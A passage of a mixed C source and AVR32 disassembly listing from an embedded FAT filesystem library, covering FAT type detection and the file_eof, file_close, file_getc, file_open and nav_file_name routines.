r8,-112 +80005cd6: f0 09 18 00 cp.b r9,r8 +80005cda: c0 91 brne 80005cec + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte +80005cdc: 4f 28 lddpc r8,80005ea4 +80005cde: f1 38 00 15 ld.ub r8,r8[21] +80005ce2: e2 18 00 f0 andl r8,0xf0,COH +80005ce6: e0 48 00 f0 cp.w r8,240 +80005cea: c0 60 breq 80005cf6 + { + break; // valid PBR found + } + // PBR not found + fs_g_status = FS_ERR_NO_PART; +80005cec: 30 39 mov r9,3 +80005cee: 4f 08 lddpc r8,80005eac +80005cf0: b0 89 st.b r8[0x0],r9 +80005cf2: 30 0c mov r12,0 + return false; +80005cf4: cc b8 rjmp 80005e8a + } + + fs_g_status = FS_ERR_NO_SUPPORT_PART; // by default partition no supported +80005cf6: 30 49 mov r9,4 +80005cf8: 4e d8 lddpc r8,80005eac +80005cfa: b0 89 st.b r8[0x0],r9 + + // Get sector size of File System (unit 512B) + // To translate from sector disk unit to sector 512B unit + u8_sector_size = HIGH_16_BPB_BytsPerSec/2; +80005cfc: 4e aa lddpc r10,80005ea4 +80005cfe: f5 39 00 0c ld.ub r9,r10[12] +80005d02: a1 99 lsr r9,0x1 + + // Read BPB_SecPerClus (unit sector) + fs_g_nav.u8_BPB_SecPerClus = U8_BPB_SecPerClus * u8_sector_size; +80005d04: f5 38 00 0d ld.ub r8,r10[13] +80005d08: b3 38 mul r8,r9 +80005d0a: 5c 58 castu.b r8 +80005d0c: 4e 1b lddpc r11,80005e90 +80005d0e: b6 98 st.b r11[0x1],r8 + + //** FAT Type determination (algorithm of "Hardware White Paper FAT") + // Get FAT size (unit sector) + u32_tmp=0; +80005d10: 30 0b mov r11,0 +80005d12: 50 1b stdsp sp[0x4],r11 + LSB0( u32_tmp ) = LOW_16_BPB_FATSz16; +80005d14: fa cb ff fc sub r11,sp,-4 +80005d18: fa c7 ff f9 sub r7,sp,-7 +80005d1c: f5 3c 00 16 ld.ub r12,r10[22] +80005d20: ae 8c st.b r7[0x0],r12 + LSB1( u32_tmp ) = HIGH_16_BPB_FATSz16; +80005d22: fa ce ff fa sub lr,sp,-6 +80005d26: f5 3a 00 17 ld.ub r10,r10[23] +80005d2a: bc 8a st.b lr[0x0],r10 + if ( 0==u32_tmp ) +80005d2c: 40 1a lddsp r10,sp[0x4] +80005d2e: 58 0a cp.w r10,0 +80005d30: c0 e1 brne 80005d4c + { + LSB0( u32_tmp ) = LOW0_32_BPB_FATSz32; +80005d32: 4d da lddpc r10,80005ea4 +80005d34: f5 3c 00 24 ld.ub r12,r10[36] +80005d38: ae 8c st.b r7[0x0],r12 + LSB1( u32_tmp ) = LOW1_32_BPB_FATSz32; +80005d3a: f5 3c 00 25 ld.ub r12,r10[37] +80005d3e: bc 8c st.b lr[0x0],r12 + LSB2( u32_tmp ) = LOW2_32_BPB_FATSz32; +80005d40: f5 3c 00 26 ld.ub r12,r10[38] +80005d44: b6 9c st.b r11[0x1],r12 + LSB3( u32_tmp ) = LOW3_32_BPB_FATSz32; +80005d46: f5 3a 00 27 ld.ub r10,r10[39] +80005d4a: b6 8a st.b r11[0x0],r10 + } + fs_g_nav.u32_fat_size = u32_tmp * u8_sector_size; +80005d4c: 12 95 mov r5,r9 +80005d4e: 40 1c lddsp r12,sp[0x4] +80005d50: f2 0c 02 4c mul r12,r9,r12 +80005d54: 4c fa lddpc r10,80005e90 +80005d56: 95 1c st.w r10[0x4],r12 + + // Get total count of sectors in partition + if ( (0==LOW_16_BPB_TotSec16) && (0==HIGH_16_BPB_TotSec16) ) +80005d58: 4d 3a lddpc r10,80005ea4 +80005d5a: f5 3a 00 13 ld.ub r10,r10[19] +80005d5e: 58 0a cp.w r10,0 +80005d60: c1 61 brne 80005d8c +80005d62: 4d 16 lddpc r6,80005ea4 +80005d64: ed 34 00 14 ld.ub r4,r6[20] +80005d68: 30 06 mov r6,0 +80005d6a: ec 04 18 00 cp.b r4,r6 +80005d6e: c0 f1 brne 80005d8c + { + LSB0( u32_tmp ) = LOW0_32_BPB_TotSec32; +80005d70: 4c da lddpc r10,80005ea4 +80005d72: f5 36 00 20 ld.ub r6,r10[32] +80005d76: ae 86 st.b r7[0x0],r6 + LSB1( u32_tmp ) = LOW1_32_BPB_TotSec32; +80005d78: f5 37 00 21 ld.ub r7,r10[33] +80005d7c: bc 87 st.b lr[0x0],r7 + LSB2( u32_tmp ) = LOW2_32_BPB_TotSec32; +80005d7e: f5 3e 00 22 ld.ub lr,r10[34] +80005d82: b6 9e st.b r11[0x1],lr + LSB3( u32_tmp ) = LOW3_32_BPB_TotSec32; +80005d84: f5 3a 00 23 ld.ub r10,r10[35] +80005d88: b6 8a st.b r11[0x0],r10 + LSB3( u32_tmp ) = LOW3_32_BPB_FATSz32; + } + fs_g_nav.u32_fat_size = u32_tmp * u8_sector_size; + + // Get total count of sectors in partition + if ( (0==LOW_16_BPB_TotSec16) && (0==HIGH_16_BPB_TotSec16) ) +80005d8a: c0 98 rjmp 80005d9c + LSB2( u32_tmp ) = LOW2_32_BPB_TotSec32; + LSB3( u32_tmp ) = LOW3_32_BPB_TotSec32; + } + else + { + LSB0( u32_tmp ) = LOW_16_BPB_TotSec16; +80005d8c: ae 8a st.b r7[0x0],r10 + LSB1( u32_tmp ) = HIGH_16_BPB_TotSec16; +80005d8e: 4c 6a lddpc r10,80005ea4 +80005d90: f5 3a 00 14 ld.ub r10,r10[20] +80005d94: bc 8a st.b lr[0x0],r10 + LSB2( u32_tmp ) = 0; +80005d96: 30 0a mov r10,0 +80005d98: b6 9a st.b r11[0x1],r10 + LSB3( u32_tmp ) = 0; +80005d9a: b6 8a st.b r11[0x0],r10 + } + u32_tmp *= u8_sector_size; // Translate from sector disk unit to sector 512B unit +80005d9c: 40 14 lddsp r4,sp[0x4] + + // Compute the offset (unit 512B) between the end of FAT (beginning of root dir in FAT1x) and the beginning of PBR + fs_g_nav.rootdir.seg.u16_pos = FS_NB_FAT * (uint16_t)fs_g_nav.u32_fat_size; +80005d9e: 4b da lddpc r10,80005e90 +80005da0: f8 0b 15 01 lsl r11,r12,0x1 +80005da4: f5 5b 00 18 st.h r10[24],r11 + + // Compute the root directory size (unit sector), for FAT32 is always 0 + LSB( u16_tmp ) = LOW_16_BPB_RootEntCnt; +80005da8: fa c6 ff f6 sub r6,sp,-10 +80005dac: fa c7 ff f4 sub r7,sp,-12 +80005db0: 4b db lddpc r11,80005ea4 +80005db2: f7 3e 00 11 ld.ub lr,r11[17] +80005db6: 0e fe st.b --r7,lr + MSB( u16_tmp ) = HIGH_16_BPB_RootEntCnt; +80005db8: f7 3e 00 12 ld.ub lr,r11[18] +80005dbc: ac 8e st.b r6[0x0],lr + fs_g_nav.rootdir.seg.u16_size = ((u16_tmp * FS_SIZE_FILE_ENTRY) + ((FS_512B*u8_sector_size)-1)) / (FS_512B*u8_sector_size); + fs_g_nav.rootdir.seg.u16_size *= u8_sector_size; +80005dbe: f2 03 15 04 lsl r3,r9,0x4 +80005dc2: 9a de ld.uh lr,sp[0xa] +80005dc4: e6 0e 00 0e add lr,r3,lr +80005dc8: a5 7e lsl lr,0x5 +80005dca: 20 1e sub lr,1 +80005dcc: f2 03 15 09 lsl r3,r9,0x9 +80005dd0: fc 03 0c 02 divs r2,lr,r3 +80005dd4: e4 09 02 4e mul lr,r2,r9 +80005dd8: f5 5e 00 1a st.h r10[26],lr + + // Get number of reserved sector + LSB( u16_tmp ) = LOW_16_BPB_ResvSecCnt; +80005ddc: f7 33 00 0e ld.ub r3,r11[14] +80005de0: ae 83 st.b r7[0x0],r3 + MSB( u16_tmp ) = HIGH_16_BPB_ResvSecCnt; +80005de2: f7 37 00 0f ld.ub r7,r11[15] +80005de6: ac 87 st.b r6[0x0],r7 + // Get FSInfo position + fs_g_nav.u16_offset_FSInfo = (u16_tmp-LOW_16_BPB_FSInfo)*u8_sector_size; +80005de8: 9a 57 ld.sh r7,sp[0xa] +80005dea: f7 3b 00 30 ld.ub r11,r11[48] +80005dee: 0e 96 mov r6,r7 +80005df0: ee 0b 01 0b sub r11,r7,r11 +80005df4: b3 3b mul r11,r9 +80005df6: b4 4b st.h r10[0x8],r11 + u16_tmp *= u8_sector_size; // number of reserved sector translated in unit 512B + + // Compute the FAT address (unit 512B) + fs_g_nav.u32_ptr_fat = fs_gu32_addrsector + u16_tmp; +80005df8: ee 09 02 49 mul r9,r7,r9 +80005dfc: 5c 79 castu.h r9 +80005dfe: 4a 8b lddpc r11,80005e9c +80005e00: 76 0b ld.w r11,r11[0x0] +80005e02: f2 0b 00 0b add r11,r9,r11 +80005e06: 95 4b st.w r10[0x10],r11 + + // Compute the offset (unit 512B) between the first data cluster and the FAT beginning + fs_g_nav.u32_offset_data = (FS_NB_FAT * fs_g_nav.u32_fat_size) + (uint32_t)fs_g_nav.rootdir.seg.u16_size; +80005e08: 5c 7e castu.h lr +80005e0a: fc 0c 00 1c add r12,lr,r12<<0x1 +80005e0e: 95 5c st.w r10[0x14],r12 + // Compute the data region (clusters space = Total - Sector used) size (unit 512B) + u32_tmp -= ((uint32_t)u16_tmp + fs_g_nav.u32_offset_data); + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) +80005e10: 58 08 cp.w r8,0 +80005e12: c3 b0 breq 80005e88 + + // Compute the offset (unit 512B) between the first data cluster and the FAT beginning + fs_g_nav.u32_offset_data = (FS_NB_FAT * fs_g_nav.u32_fat_size) + (uint32_t)fs_g_nav.rootdir.seg.u16_size; + + // Compute the data region (clusters space = Total - Sector used) size (unit 512B) + u32_tmp -= ((uint32_t)u16_tmp + fs_g_nav.u32_offset_data); +80005e14: a9 35 mul r5,r4 +80005e16: ea 09 01 09 sub r9,r5,r9 +80005e1a: 18 19 sub r9,r12 +80005e1c: 50 19 stdsp sp[0x4],r9 + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) + return false; + for( u8_tmp = fs_g_nav.u8_BPB_SecPerClus; u8_tmp!=1 ; u8_tmp >>= 1 ) +80005e1e: 30 1a mov r10,1 +80005e20: f4 08 18 00 cp.b r8,r10 +80005e24: c0 70 breq 80005e32 + { + u32_tmp >>= 1; // This computation round down +80005e26: a1 99 lsr r9,0x1 + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) + return false; + for( u8_tmp = fs_g_nav.u8_BPB_SecPerClus; u8_tmp!=1 ; u8_tmp >>= 1 ) +80005e28: a1 98 lsr r8,0x1 +80005e2a: f4 08 18 00 cp.b r8,r10 +80005e2e: cf c1 brne 80005e26 +80005e30: 50 19 stdsp sp[0x4],r9 + { + u32_tmp >>= 1; // This computation round down + } + fs_g_nav.u32_CountofCluster = u32_tmp+2; // The total of cluster include the two reserved clusters +80005e32: 40 18 lddsp r8,sp[0x4] +80005e34: f0 ca ff fe sub r10,r8,-2 +80005e38: 49 69 lddpc r9,80005e90 +80005e3a: 93 3a st.w r9[0xc],r10 + + // Determine the FAT type + if (u32_tmp < FS_FAT12_MAX_CLUSTERS) +80005e3c: e0 48 0f f4 cp.w r8,4084 +80005e40: e0 8b 00 07 brhi 80005e4e + { + // Is FAT 12 +#if (FS_FAT_12 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; +80005e44: 30 19 mov r9,1 +80005e46: 49 58 lddpc r8,80005e98 +80005e48: b0 89 st.b r8[0x0],r9 +80005e4a: 30 1c mov r12,1 +80005e4c: c1 f8 rjmp 80005e8a + } else { + if (u32_tmp < FS_FAT16_MAX_CLUSTERS) +80005e4e: e0 48 ff f4 cp.w r8,65524 +80005e52: e0 8b 00 07 brhi 80005e60 + { + // Is FAT 16 +#if (FS_FAT_16 == DISABLED) + return FS_NO_SUPPORT_PART; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; +80005e56: 30 29 mov r9,2 +80005e58: 49 08 lddpc r8,80005e98 +80005e5a: b0 89 st.b r8[0x0],r9 +80005e5c: 30 1c mov r12,1 +80005e5e: c1 68 rjmp 80005e8a + } else { + // Is FAT 32 +#if (FS_FAT_32 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; +80005e60: 30 39 mov r9,3 +80005e62: 48 e8 lddpc r8,80005e98 +80005e64: b0 89 st.b r8[0x0],r9 + // In FAT32, the root dir is like another directory, this one have a cluster list + // Get the first cluster number of root + LSB0( fs_g_nav.rootdir.u32_cluster ) = LOW0_32_BPB_RootClus; +80005e66: 48 b8 lddpc r8,80005e90 +80005e68: 2e 88 sub r8,-24 +80005e6a: 48 f9 lddpc r9,80005ea4 +80005e6c: f3 3a 00 2c ld.ub r10,r9[44] +80005e70: b0 ba st.b r8[0x3],r10 + LSB1( fs_g_nav.rootdir.u32_cluster ) = LOW1_32_BPB_RootClus; +80005e72: f3 3a 00 2d ld.ub r10,r9[45] +80005e76: b0 aa st.b r8[0x2],r10 + LSB2( fs_g_nav.rootdir.u32_cluster ) = LOW2_32_BPB_RootClus; +80005e78: f3 3a 00 2e ld.ub r10,r9[46] +80005e7c: b0 9a st.b r8[0x1],r10 + LSB3( fs_g_nav.rootdir.u32_cluster ) = LOW3_32_BPB_RootClus; +80005e7e: f3 39 00 2f ld.ub r9,r9[47] +80005e82: b0 89 st.b r8[0x0],r9 +80005e84: 30 1c mov r12,1 +80005e86: c0 28 rjmp 80005e8a +80005e88: 30 0c mov r12,0 + } + } + + return true; +} +80005e8a: 2f dd sub sp,-12 +80005e8c: d8 32 popm r0-r7,pc +80005e8e: 00 00 add r0,r0 +80005e90: 00 00 add r0,r0 +80005e92: 06 84 andn r4,r3 +80005e94: 80 00 ld.sh r0,r0[0x0] +80005e96: 42 00 lddsp r0,sp[0x80] +80005e98: 00 00 add r0,r0 +80005e9a: 06 d0 st.w --r3,r0 +80005e9c: 00 00 add r0,r0 +80005e9e: 04 40 or r0,r2 +80005ea0: 80 00 ld.sh r0,r0[0x0] +80005ea2: 4f bc lddpc r12,8000608c +80005ea4: 00 00 add r0,r0 +80005ea6: 04 84 andn r4,r2 +80005ea8: 80 00 ld.sh r0,r0[0x0] +80005eaa: 48 2c lddpc r12,80005eb0 +80005eac: 00 00 add r0,r0 +80005eae: 06 d4 st.w --r3,r4 +80005eb0: 80 00 ld.sh r0,r0[0x0] +80005eb2: 6a e8 ld.w r8,r5[0x38] + +80005eb4 : +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ) +{ +80005eb4: d4 01 pushm lr + if( !fat_check_mount_select_open() ) +80005eb6: f0 1f 00 07 mcall 80005ed0 +80005eba: c0 41 brne 80005ec2 +80005ebc: e0 6c 00 ff mov r12,255 +80005ec0: d8 02 popm pc + return 0xFF; + return (fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ); +80005ec2: 48 58 lddpc r8,80005ed4 +80005ec4: 70 29 ld.w r9,r8[0x8] +80005ec6: 70 38 ld.w r8,r8[0xc] +80005ec8: 10 39 cp.w r9,r8 +80005eca: 5f 8c srls r12 +} +80005ecc: d8 02 popm pc +80005ece: 00 00 add r0,r0 +80005ed0: 80 00 ld.sh r0,r0[0x0] +80005ed2: 51 00 stdsp sp[0x40],r0 +80005ed4: 00 00 add r0,r0 +80005ed6: 04 44 or r4,r2 + +80005ed8 : + + +//! This function closes the file +//! +void file_close( void ) +{ +80005ed8: d4 01 pushm lr + // If a file is opened, then close this one + if( fat_check_mount_select_open() ) +80005eda: f0 1f 00 0a mcall 80005f00 +80005ede: c1 00 breq 80005efe + { + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if( FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode ) +80005ee0: 48 98 lddpc r8,80005f04 +80005ee2: 11 88 ld.ub r8,r8[0x0] +80005ee4: e2 18 00 02 andl r8,0x2,COH +80005ee8: c0 80 breq 80005ef8 + { + // Write file information + if( !fat_read_dir() ) +80005eea: f0 1f 00 08 mcall 80005f08 +80005eee: c0 80 breq 80005efe + return; // error + fat_write_entry_file(); +80005ef0: f0 1f 00 07 mcall 80005f0c + fat_cache_flush(); // In case of error during writing data, flush the data before exit function +80005ef4: f0 1f 00 07 mcall 80005f10 + } +#endif // FS_LEVEL_FEATURES + Fat_file_close(); +80005ef8: 30 09 mov r9,0 +80005efa: 48 38 lddpc r8,80005f04 +80005efc: b0 89 st.b r8[0x0],r9 +80005efe: d8 02 popm pc +80005f00: 80 00 ld.sh r0,r0[0x0] +80005f02: 51 00 stdsp sp[0x40],r0 +80005f04: 00 00 add r0,r0 +80005f06: 04 44 or r4,r2 +80005f08: 80 00 ld.sh r0,r0[0x0] +80005f0a: 4e 5c lddpc r12,8000609c +80005f0c: 80 00 ld.sh r0,r0[0x0] +80005f0e: 46 1c lddsp r12,sp[0x184] +80005f10: 80 00 ld.sh r0,r0[0x0] +80005f12: 47 c0 lddsp r0,sp[0x1f0] + +80005f14 : +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ) +{ +80005f14: d4 01 pushm lr + uint16_t u16_byte; + + while(1) + { + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) +80005f16: 49 78 lddpc r8,80005f70 +80005f18: 11 88 ld.ub r8,r8[0x0] +80005f1a: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80005f1e: c0 51 brne 80005f28 + { + fs_g_status = FS_ERR_WRITE_ONLY; +80005f20: 31 e9 mov r9,30 +80005f22: 49 58 lddpc r8,80005f74 +80005f24: b0 89 st.b r8[0x0],r9 +80005f26: dc 0a popm pc,r12=-1 + break; + } + if( fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ) +80005f28: 49 28 lddpc r8,80005f70 +80005f2a: 70 29 ld.w r9,r8[0x8] +80005f2c: 70 38 ld.w r8,r8[0xc] +80005f2e: 10 39 cp.w r9,r8 +80005f30: e0 8b 00 06 brhi 80005f3c + { + fs_g_status = FS_ERR_EOF; +80005f34: 32 09 mov r9,32 +80005f36: 49 08 lddpc r8,80005f74 +80005f38: b0 89 st.b r8[0x0],r9 +80005f3a: dc 0a popm pc,r12=-1 + break; + } + + if( !fat_read_file( FS_CLUST_ACT_ONE )) +80005f3c: 30 2c mov r12,2 +80005f3e: f0 1f 00 0f mcall 80005f78 +80005f42: c0 c1 brne 80005f5a + { + if( FS_ERR_OUT_LIST == fs_g_status ) +80005f44: 48 c8 lddpc r8,80005f74 +80005f46: 11 89 ld.ub r9,r8[0x0] +80005f48: 31 a8 mov r8,26 +80005f4a: f0 09 18 00 cp.b r9,r8 +80005f4e: c0 20 breq 80005f52 +80005f50: dc 0a popm pc,r12=-1 + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file +80005f52: 32 09 mov r9,32 +80005f54: 48 88 lddpc r8,80005f74 +80005f56: b0 89 st.b r8[0x0],r9 +80005f58: dc 0a popm pc,r12=-1 + } + break; + } + + u16_byte = fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ]; +80005f5a: 48 68 lddpc r8,80005f70 +80005f5c: 70 39 ld.w r9,r8[0xc] +80005f5e: f5 d9 c0 09 bfextu r10,r9,0x0,0x9 +80005f62: 48 7b lddpc r11,80005f7c +80005f64: f6 0a 07 0c ld.ub r12,r11[r10] + fs_g_nav_entry.u32_pos_in_file++; +80005f68: 2f f9 sub r9,-1 +80005f6a: 91 39 st.w r8[0xc],r9 + return u16_byte; + } + return FS_EOF; // No data readed +} +80005f6c: d8 02 popm pc +80005f6e: 00 00 add r0,r0 +80005f70: 00 00 add r0,r0 +80005f72: 04 44 or r4,r2 +80005f74: 00 00 add r0,r0 +80005f76: 06 d4 st.w --r3,r4 +80005f78: 80 00 ld.sh r0,r0[0x0] +80005f7a: 4e e0 lddpc r0,80006130 +80005f7c: 00 00 add r0,r0 +80005f7e: 04 84 andn r4,r2 + +80005f80 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ) +{ +80005f80: eb cd 40 c0 pushm r6-r7,lr +80005f84: 18 97 mov r7,r12 + if( !fat_check_mount_select_noopen()) +80005f86: f0 1f 00 20 mcall 80006004 +80005f8a: c3 a0 breq 80005ffe + return false; + + if( !fat_check_is_file()) +80005f8c: f0 1f 00 1f mcall 80006008 +80005f90: c3 70 breq 80005ffe + return false; + + if(FOPEN_WRITE_ACCESS & fopen_mode) +80005f92: 0e 96 mov r6,r7 +80005f94: 0e 98 mov r8,r7 +80005f96: e2 18 00 02 andl r8,0x2,COH +80005f9a: c1 90 breq 80005fcc + { + if( !fat_check_nav_access_file( true ) ) +80005f9c: 30 1c mov r12,1 +80005f9e: f0 1f 00 1c mcall 8000600c +80005fa2: c2 e0 breq 80005ffe + return false; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if (FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr) +80005fa4: 49 b8 lddpc r8,80006010 +80005fa6: 11 a8 ld.ub r8,r8[0x2] +80005fa8: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80005fac: c0 60 breq 80005fb8 + { + fs_g_status = FS_ERR_READ_ONLY; // File is read only +80005fae: 31 59 mov r9,21 +80005fb0: 49 98 lddpc r8,80006014 +80005fb2: b0 89 st.b r8[0x0],r9 +80005fb4: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 + return false; + } + if( mem_wr_protect( fs_g_nav.u8_lun )) +80005fb8: 49 88 lddpc r8,80006018 +80005fba: 11 8c ld.ub r12,r8[0x0] +80005fbc: f0 1f 00 18 mcall 8000601c +80005fc0: c0 a0 breq 80005fd4 + { + fs_g_status = FS_LUN_WP; // Disk read only +80005fc2: 31 49 mov r9,20 +80005fc4: 49 48 lddpc r8,80006014 +80005fc6: b0 89 st.b r8[0x0],r9 +80005fc8: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 + return false; +#endif // FS_LEVEL_FEATURES + } + else + { + if( !fat_check_nav_access_file( false ) ) +80005fcc: 30 0c mov r12,0 +80005fce: f0 1f 00 10 mcall 8000600c +80005fd2: c1 60 breq 80005ffe + return false; + } + + if(FOPEN_CLEAR_SIZE & fopen_mode) +80005fd4: 0c 98 mov r8,r6 +80005fd6: e2 18 00 04 andl r8,0x4,COH +80005fda: c0 40 breq 80005fe2 + { + fs_g_nav_entry.u32_size = 0; // The size is null +80005fdc: 30 09 mov r9,0 +80005fde: 48 d8 lddpc r8,80006010 +80005fe0: 91 29 st.w r8[0x8],r9 + } + if(FOPEN_CLEAR_PTR & fopen_mode) +80005fe2: e2 16 00 08 andl r6,0x8,COH +80005fe6: c0 50 breq 80005ff0 + { + fs_g_nav_entry.u32_pos_in_file = 0; +80005fe8: 30 09 mov r9,0 +80005fea: 48 a8 lddpc r8,80006010 +80005fec: 91 39 st.w r8[0xc],r9 +80005fee: c0 48 rjmp 80005ff6 + } + else + { // Go to at the end of file + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size; +80005ff0: 48 88 lddpc r8,80006010 +80005ff2: 70 29 ld.w r9,r8[0x8] +80005ff4: 91 39 st.w r8[0xc],r9 + } + fs_g_nav_entry.u8_open_mode = fopen_mode; +80005ff6: 48 78 lddpc r8,80006010 +80005ff8: b0 87 st.b r8[0x0],r7 +80005ffa: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 + return true; +80005ffe: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 +80006002: 00 00 add r0,r0 +80006004: 80 00 ld.sh r0,r0[0x0] +80006006: 51 24 stdsp sp[0x48],r4 +80006008: 80 00 ld.sh r0,r0[0x0] +8000600a: 3f 20 mov r0,-14 +8000600c: 80 00 ld.sh r0,r0[0x0] +8000600e: 46 6c lddsp r12,sp[0x198] +80006010: 00 00 add r0,r0 +80006012: 04 44 or r4,r2 +80006014: 00 00 add r0,r0 +80006016: 06 d4 st.w --r3,r4 +80006018: 00 00 add r0,r0 +8000601a: 06 84 andn r4,r3 +8000601c: 80 00 ld.sh r0,r0[0x0] +8000601e: 6a f0 ld.w r0,r5[0x3c] + +80006020 : +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ) +{ +80006020: 20 3d sub sp,12 + // Fill index structure + index.u8_lun = fs_g_nav.u8_lun; +#if (FS_MULTI_PARTITION == ENABLED) + index.u8_partition = fs_g_nav.u8_partition; +#endif + index.u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir; +80006022: 48 69 lddpc r9,80006038 +80006024: 72 8b ld.w r11,r9[0x20] + index.u16_entry_pos_sel_file = fs_g_nav_fast.u16_entry_pos_sel_file; +80006026: 48 6a lddpc r10,8000603c +80006028: 94 1a ld.sh r10,r10[0x2] + return index; +8000602a: 13 89 ld.ub r9,r9[0x0] +8000602c: b8 89 st.b r12[0x0],r9 +8000602e: 99 1b st.w r12[0x4],r11 +80006030: b8 4a st.h r12[0x8],r10 +} +80006032: 2f dd sub sp,-12 +80006034: 5e fc retal r12 +80006036: 00 00 add r0,r0 +80006038: 00 00 add r0,r0 +8000603a: 06 84 andn r4,r3 +8000603c: 00 00 add r0,r0 +8000603e: 06 d0 st.w --r3,r0 + +80006040 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ +80006040: d4 31 pushm r0-r7,lr +80006042: 20 1d sub sp,4 +80006044: 18 95 mov r5,r12 +80006046: 16 97 mov r7,r11 +80006048: 14 96 mov r6,r10 +8000604a: 12 94 mov r4,r9 + _MEM_TYPE_SLOW_ uint16_t u16_lgt; // Only used if LENGTH string mode enabled + uint16_t u16_ptr_save_entry; + Bool b_readshortname = false; + + if ( !fat_check_mount_select()) +8000604c: f0 1f 00 32 mcall 80006114 +80006050: c5 e0 breq 8000610c + return false; + + // Check if the string size is not 0 + if( (FS_NAME_GET == b_mode) +80006052: 30 18 mov r8,1 +80006054: f0 06 18 00 cp.b r6,r8 +80006058: 5f 0a sreq r10 +8000605a: 30 08 mov r8,0 +8000605c: f0 07 18 00 cp.b r7,r8 +80006060: 5f 09 sreq r9 +80006062: f5 e9 00 09 and r9,r10,r9 +80006066: f0 09 18 00 cp.b r9,r8 +8000606a: c0 30 breq 80006070 +8000606c: 30 1c mov r12,1 +8000606e: c5 08 rjmp 8000610e + { + return true; + } + + // Save the current entry position + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; +80006070: 4a a8 lddpc r8,80006118 +80006072: 90 13 ld.sh r3,r8[0x2] + // if it is the beginning of the directory + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) +80006074: 58 03 cp.w r3,0 +80006076: c0 31 brne 8000607c +80006078: 30 10 mov r0,1 +8000607a: c0 68 rjmp 80006086 + { + b_readshortname = true; // It isn't possibled to have a long name + } + else + { + fs_g_nav_fast.u16_entry_pos_sel_file--; // Initialize entry position to search the first long name entry +8000607c: e6 c9 00 01 sub r9,r3,1 +80006080: 4a 68 lddpc r8,80006118 +80006082: b0 19 st.h r8[0x2],r9 +80006084: 30 00 mov r0,0 +80006086: 30 08 mov r8,0 +80006088: 50 08 stdsp sp[0x0],r8 + } + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + return true; + } + + if ( FS_NO_LAST_LFN_ENTRY != fs_g_status ) +8000608a: 31 01 mov r1,16 + { + // Increment the string to store the next part of file name + sz_name += FS_SIZE_LFN_ENTRY * (Is_unicode? 2 : 1 ); + u8_size_max -= FS_SIZE_LFN_ENTRY; + } + fs_g_nav_fast.u16_entry_pos_sel_file--; // Go to the next part of long file name +8000608c: 4a 32 lddpc r2,80006118 +8000608e: c0 28 rjmp 80006092 + { + b_readshortname = true; // It isn't possibled to have a long name + } + else + { + fs_g_nav_fast.u16_entry_pos_sel_file--; // Initialize entry position to search the first long name entry +80006090: 30 10 mov r0,1 + + // Loop in directory entry + u16_lgt = 0; + while( 1 ) + { + if ( !fat_read_dir()) +80006092: f0 1f 00 23 mcall 8000611c +80006096: c3 b0 breq 8000610c + break; // error + + if ( b_readshortname ) +80006098: 58 00 cp.w r0,0 +8000609a: c0 70 breq 800060a8 + { + // No long name present then read short name + return fat_entry_shortname( sz_name , u8_size_max , b_mode ); +8000609c: 0c 9a mov r10,r6 +8000609e: 0e 9b mov r11,r7 +800060a0: 0a 9c mov r12,r5 +800060a2: f0 1f 00 20 mcall 80006120 +800060a6: c3 48 rjmp 8000610e + } + + // Check or read the part of long file name in this entry + if ( fat_entry_longname( sz_name , u8_size_max , b_mode , b_match_case )) +800060a8: 08 99 mov r9,r4 +800060aa: 0c 9a mov r10,r6 +800060ac: 0e 9b mov r11,r7 +800060ae: 0a 9c mov r12,r5 +800060b0: f0 1f 00 1d mcall 80006124 +800060b4: c0 f0 breq 800060d2 + { + if( g_b_string_length ) +800060b6: 49 d8 lddpc r8,80006128 +800060b8: 11 89 ld.ub r9,r8[0x0] +800060ba: 30 08 mov r8,0 +800060bc: f0 09 18 00 cp.b r9,r8 